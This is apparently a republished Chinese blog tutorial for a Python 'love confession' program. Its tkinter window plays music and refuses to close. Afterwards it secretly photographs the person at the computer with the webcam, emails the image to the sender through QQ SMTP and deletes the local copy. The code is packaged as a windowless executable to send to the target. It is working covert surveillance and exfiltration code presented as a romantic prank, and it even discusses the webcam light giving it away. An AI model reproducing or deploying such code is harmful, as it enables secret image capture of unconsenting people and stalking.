基于python实现远程表白并控制对方电脑拍摄对方照片的设计
基于python实现远程表白并控制对方电脑拍摄对方照片的设计
摘要 520节快到了,你是不是还是单身,如果你还是单身的话,那继续单身吧,哈哈(开玩笑的啦)。如果你非常喜欢一个女孩,并且由于工作原因一直没有时机找到表白的机会,那么你可以借这个机会表白,机不可失失不再来。我们知道,表白是一个很重要的事,这很郑重,一般都是面对面表白,但是面对面难免有点尴尬,而且突发因素很高。怎么更好更加浪漫的表白,一直是我们程序员最求的极致。下面福利来了。这次设计基于python语言,通过配置简单的界面、加载背景音乐可以实现一个窗口似的表白。但是但是但是但是但是…问题来了,互联网时代很复杂,你怎么知道,一直和你网恋的是不是美少女还是扣脚大叔,这个问题来了,下面是反大叔操作。通过python中CV库实现电脑拍摄照片并通过SMPT协议用QQ邮箱发送给自己,确认是不是抠脚大叔。
**关键字:**python、表白、CV、QQ邮箱、SMPT
实际效果
文章图片
一、python环境的配置 首先配置系统环境,参考链接
1.1、配置系统环境变量
第一步:右击此电脑–属性,找到高级系统设置点击进入
文章图片
第二步:在系统属性中点击高级–环境变量,点击确定
文章图片
第三步:在环境变量中找到系统变量–Path,点击编辑,确定
文章图片
第四步:编辑系统变量,点击浏览,添加Python路径,点击确定,目录添加完成
文章图片
1.2、快速安装库
第一步:按下Windows + r 并输入cmd得到控制界面
文章图片
第二步:安装opencv-python库(举个例子,之后用到的库都这样装)
pip install opencv-python -i https://pypi.tuna.tsinghua.edu.cn/simple显示安装成功即可
第三步:如果出现提示更新,就更新pip
文章图片
注意:虽然安装成功,但是会有提示信息,显示pip版本较低,我们只需要更新一下版本即可,输入
python -m pip install --upgrade pip
文章图片
二、python基本语法学习 2.1、导入库的学习
刚刚接触python的朋友可能并不懂Python中import语句是什么意思。那么这篇文章就来带大家来认识一下import语句,了解一下python中import的用法。参考链接
- import语句:
import module1[, module2[,... moduleN]
- form…import语句:
from modname import name1[, name2[, ... nameN]]
- form…import * 语句:
from modname import *
三、python实现界面操作 2.1、加载tkinter的库
from tkinter import *# 标准Tk GUI工具包的接口
import time# 时间库
import tkinter.messagebox# 导入弹窗函数
2.2、绘制主界面
MainWindow = Tk()# 生成主窗口
MainWindow.geometry('550x700+100+50')# 设置主窗口大小和位置
MainWindow.title('我喜欢你很久了')# 设置主窗口标题
# 设置第一个标签 文字 字体 对齐方式 字体颜色
lable1 = Label(MainWindow, text="Hey,小姐姐", font=("微软雅黑", 14), justify = "left", foreground = "red")
# 设置第二个标签 文字 字体 对齐方式 字体颜色
lable2 = Label(MainWindow, text="喜欢我吗?", font=("微软雅黑", 34), justify = "left", foreground = "red")
# 加载相应的图片
photo = PhotoImage(file='./picture.png')
# 设置第三个标签 为照片
imgLabel = Label(MainWindow, imag=photo)
# 将标签1、2、3添加到主窗口
lable1.pack()
lable2.pack()
imgLabel.pack()
def CloseMainWindow():# 定义关闭主窗口函数
tkinter.messagebox.showerror(title="警告",message = "不许关闭,好好回答!")
return
MainWindow.protocol('WM_DELETE_WINDOW', CloseMainWindow) # 定义用户使用窗口管理器明确关闭窗口时发生的情况
文章图片
这部分函数实现上面两个标签以及图片的加载,并没有实现下面两个按键的操作
2.3、实现按钮的功能
喜欢按钮
def LoveEvent():# 定义“喜欢”的事件
love = Toplevel(MainWindow)# 设置“喜欢”窗口为独立的顶级窗口
love.geometry('300x200+800+350')# 绘制“喜欢”窗口大小和位置
love.title("好巧,我也是!")# 设置“喜欢”窗口名称
# 设置“喜欢”窗口里标签内容 字体 颜色
lable = Label(love,text="好巧,我也是!", font=("微软雅黑", 24), foreground = "red")
btn = Button(love, text="确定")# 加载一个确定按钮
btn.config(command=lambda :CloseLove())# 配置按钮回调关闭主窗口事件
btn.config(command=lambda: DrawLove())# 配置按钮回调画心心事件
lable.pack()# 添加标签到“喜欢”窗口
love.protocol('WM_DELETE_WINDOW', closeall) # 定义关闭“喜欢”窗口时执行关闭所有事件
btn.pack()# 添加按钮到“喜欢”窗口
不喜欢按钮
def DoNotLoveEvent():# 配置“不喜欢”的事件
not_love = Toplevel(MainWindow)# 设置“不喜欢”的窗口为独立的顶级窗口
not_love.geometry('300x200+800+350') # 绘制“不喜欢”窗口大小和位置
not_love.title("再考虑考虑呗!")# 设置“不喜欢”窗口名称
# 设置“不喜欢”窗口里标签内容 字体 颜色
lable = Label(not_love,text="再考虑考虑呗", font=("微软雅黑", 24), foreground = "red")
btn = Button(not_love, text="确定")# 加载一个确定按钮
btn.config(command=lambda :CloseNolove(not_love))# 配置按钮回调关闭“不喜欢”窗口事件
lable.pack()# 添加标签到“不喜欢”窗口
btn.pack()# 添加按钮到“不喜欢”窗口
按钮加载
# 设置按钮1 内容 宽度 高度
btn1 = Button(MainWindow, text="I LOVE YOU!", width= "12",height = "1")
btn1.config(command=LoveEvent)# 配置按钮1回调函数到喜欢函数
# 设置按钮2 内容 宽度 高度
btn2 = Button(MainWindow, text="I Do Not Love You!", width= "16",height = "1")
btn2.config(command=DoNotLoveEvent) # 配置按钮2回调函数到不喜欢函数
# 将按钮1、2添加到主窗口
btn1.pack()
btn2.pack()
2.4、实现界面关闭管理操作
def closeall():# 关闭主视图
MainWindow.destroy()
def CloseLove():# 关闭主视图
MainWindow.destroy()
def CloseNolove(not_love):# 关闭“不喜欢”窗口
not_love.destroy()
四、python实现用opencv库操作摄像头并发送照片 3.1、加载email、smtplib库
from smtplib import SMTP_SSL,SMTPException# 导入发送邮件SMTP协议,SMTP_SSL类专门来处理ssl连接;
from email.mime.text import MIMEText# 导入处理邮件相关模块
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from cv2 import VideoCapture,imwrite# 导入摄像头相关模块
from os import remove# 导入删除指定路径的文件
3.2、配置QQ邮箱为SMTP
第一步:用网页打开QQ邮箱,并点击设置
文章图片
第二步:点击账户
文章图片
第三步:开始SMTP服务
文章图片
第四步:记住授权码
3.3、配置个人发送邮箱以及接收邮箱
def SendPictureEmail():# 定义发送照片到指定邮件函数
_user = ""# 发送图片的邮箱
_pwd= ""# 邮箱密码(授权码)
_to= ""# 收图片的邮箱msg = MIMEMultipart('related')
msg["Subject"] = "照片"
msg["From"]= _user
msg["To"]= _tocontent = MIMEText('
文章图片
','html','utf-8')
msg.attach(content)
file = open("1.png","rb") # 打开照片进行读写
img_data1 = file.read()# 将读取的数据保存
file.close()# 照片文件关闭
img1 = MIMEImage(img_data1)# 指定数据
img1.add_header('Content-ID', 'imageid')
msg.attach(img1)
try:
s = SMTP_SSL("smtp.qq.com", 465)# 使用QQ的SMTP协议
s.login(_user, _pwd)# 登陆邮箱
s.sendmail(_user, _to, msg.as_string()) # 发送信息到指定邮件
s.quit()# 退出登陆
print("Success!")# 发送成功
except SMTPException as e:
print("Falied,%s",e)# 发送失败
3.4、打开摄像头拍摄照片并删除
打开摄像头
def TakePicture():# 定义用电脑摄像头得到照片的程序
capture = VideoCapture(0)# 定义摄像头
_ ,frame = capture.read()# 打开摄像头拍摄
imwrite("1.png",frame)# 保存信息为照片
capture.release()# 释放照片
删除照片
def DeletePicture():# 定义删除文件函数
remove("1.png")# 删除照片
四、播放背景音乐 4.1、加载pygame库
import pygame# 导入播放音乐模块
4.2、播放音乐
“播放我爱的人”
def PlayMusic():# 定义播放背景音乐函数
file =r'我爱的人.mp3'# 指定音乐路径
pygame.mixer.init()# 初始化
track = pygame.mixer.music.load(file) # 加载音乐文件
pygame.mixer.music.play()# 开始播放音乐流
五、实现动态画? 5.1、加载turtle库
import turtle# 导入画图模块
from time import sleep
5.2、动态画?
MyName =""# 设置自己姓名
Love = "LOVE"# LOVE
HerName = ""# 表白女生姓名
def HeartPart():# 定义画爱心上部分半圆函数
for i in range(200):
turtle.right(1)
turtle.forward(2)
def DrawLove():turtle.setup(width = 800,height = 500)# 设置窗口大小
turtle.title('爱你,么么么么么么么哒~~~')# 设置窗口名称
turtle.color('red', 'pink')# 设置画笔颜色
turtle.pensize(5)# 设置画笔大小
turtle.speed(0)# 设置画笔速度
turtle.up()# 举笔
turtle.goto(0, -180)# 去到的坐标,窗口中心为0,0
turtle.showturtle()# 显示画笔
turtle.down()# 落笔
turtle.begin_fill()# 画上线
turtle.left(140)
turtle.forward(224)
HeartPart()# 画左边圆
turtle.left(120)# 画右边圆
HeartPart()
turtle.forward(224)# 画下线
turtle.end_fill()
turtle.pensize(5)
turtle.up()# 举笔
turtle.hideturtle()# 隐藏笔
# 在心中写字
turtle.goto(0, 0)
turtle.showturtle()
turtle.color('red', 'pink')# 设置笔颜色
# 在心中写字 font可以设置字体自己电脑有的都可以设 align开始写字的位置
turtle.write(HerName+Love+MyName, font=('gungsuh', 30,), align="center")
turtle.up()# 举笔
turtle.hideturtle()# 隐藏笔
if HerName != '':# 写署名
turtle.color('black', 'pink')
turtle.goto(180, -180)
turtle.showturtle()
turtle.write("女神:"+HerName, font=(20,), align="center", move=True)
5.3、结果
文章图片
六、主程序
if __name__ == "__main__":
PlayMusic()# 播放背景音乐
MainWindow.mainloop()# 打开主界面
TakePicture()# 拍摄照片
SendPictureEmail()# 发送照片
DeletePicture()# 删除照片
七、python实现可执行程序的打包 7.1、用程序直接打包
importos
if __name__ == '__main__':
from PyInstaller.__main__ import run
opts=['***.py','-w','-F']#打包的 **.py文件
run(opts)
7.2、将图片和音乐拖动到dist文件中
【基于python实现远程表白并控制对方电脑拍摄对方照片的设计】
文章图片
八、结果分析与改进方案
- 拍照只能通过指定角度拍,会导致拍不到人,所以你的让对方坐端正
- 由于电脑摄像头拍照会亮,所以容易被同行发现
- Python微信远程控制摄像头-拍摄女朋友坐电脑前聊天时表情
- 教你用Python写界面
- python将程序打包为可执行文件(.exe)
- python+openCV调用摄像头拍摄和处理图片
- python添加背景音乐
推荐阅读
- 基于微信小程序带后端ssm接口小区物业管理平台设计
- 关于QueryWrapper|关于QueryWrapper,实现MybatisPlus多表关联查询方式
- MybatisPlus使用queryWrapper如何实现复杂查询
- python学习之|python学习之 实现QQ自动发送消息
- 基于|基于 antd 风格的 element-table + pagination 的二次封装
- 逻辑回归的理解与python示例
- 孩子不是实现父母欲望的工具——林哈夫
- opencv|opencv C++模板匹配的简单实现
- Node.js中readline模块实现终端输入
- python自定义封装带颜色的logging模块